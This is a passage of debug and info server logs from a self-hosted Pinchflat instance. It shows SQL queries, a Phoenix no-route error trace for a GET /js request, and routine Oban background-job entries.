s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:21:04.300 [debug] QUERY OK source="sources" db=0.3ms idle=12.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:21:04.303 [info] Sent 200 in 28ms 01:21:04.715 [info] GET /js 01:21:04.716 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=427.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:21:04.716 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=427.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:21:04.717 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 01:21:04.717 [error] #PID<0.263426.0> running PinchflatWeb.Endpoint (connection #PID<0.263424.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263424.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58354}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "python-httpx/0.28.1", "x-forwarded-for" => "35.162.5.34", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "35.162.5.34" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263426.0>, params: %{}, path_info: ["js"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "python-httpx/0.28.1"}, {"x-forwarded-for", "35.162.5.34"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "35.162.5.34"} ], request_path: "/js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEHN7MUh9OXX5kAMUyC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263424.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58354}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "python-httpx/0.28.1", "x-forwarded-for" => "35.162.5.34", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "35.162.5.34" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263424.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58354}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "python-httpx/0.28.1", "x-forwarded-for" => "35.162.5.34", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "35.162.5.34" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263426.0>, params: %{}, path_info: ["js"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "python-httpx/0.28.1"}, {"x-forwarded-for", "35.162.5.34"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "35.162.5.34"} ], request_path: "/js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-requ (truncated) 01:21:31.260 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.687 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:01.262 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:31.264 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.688 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:01.266 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:31.268 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.689 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:01.270 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:31.272 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.690 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:01.273 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:31.276 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.691 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:01.278 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:31.280 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.692 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:01.282 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:31.284 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.693 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:01.286 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:31.288 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.694 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:01.290 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:31.292 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.695 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:01.294 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:31.296 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.696 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:01.298 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:31.300 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.697 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:01.302 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:31.304 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.698 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:01.306 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:31.308 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.699 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:01.310 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:31.312 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.700 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:01.314 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:31.316 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.701 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:01.318 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:31.320 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.702 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:01.322 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:31.324 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.703 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:01.326 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:31.328 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.704 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:01.330 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:31.332 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.706 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:01.335 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:31.337 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.707 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:01.339 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:31.341 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.708 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:01.343 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:31.345 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.709 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:01.347 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:31.349 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.710 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:01.351 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:31.353 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.711 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:01.355 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:31.357 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.712 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:01.359 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:31.361 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.713 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:01.363 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:31.365 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.714 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:01.367 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:31.369 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.715 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:01.371 [info] {"source":"oban","duration":1359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:31.373 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.716 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:01.375 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:31.377 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.717 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:01.379 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:31.381 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.718 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:01.383 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:31.385 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.719 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:01.387 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:31.389 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.720 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:01.391 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:31.392 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.721 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:01.395 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:31.397 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.722 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:01.398 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:31.401 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.723 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:01.403 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:31.405 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.724 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:01.407 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:31.409 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.725 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:01.411 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:31.413 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.726 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:01.415 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:31.417 [info] {"source":"oban","duration":1119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.727 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:01.419 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:31.421 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.728 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:01.423 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:31.425 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.729 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:01.427 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:31.429 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.730 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:01.431 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:31.433 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.731 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:01.436 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:31.438 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.732 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:01.440 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:31.442 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.733 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:01.444 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:31.446 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.734 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:01.448 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:31.450 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.735 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:01.452 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:31.454 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.736 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:01.456 [info] {"source":"oban","duration":1126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:05.087 [info] GET /app_info 02:10:05.088 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 02:10:05.089 [debug] QUERY OK source="settings" db=0.3ms idle=443.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.089 [debug] QUERY OK source="settings" db=0.2ms idle=444.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.090 [debug] QUERY OK source="settings" db=0.3ms idle=445.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.092 [debug] QUERY OK source="settings" db=0.2ms idle=446.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.092 [debug] QUERY OK source="settings" db=0.2ms idle=32.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:05.093 [info] Sent 200 in 6ms 02:10:11.121 [info] GET /media_profiles 02:10:11.122 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 02:10:11.123 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=477.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT 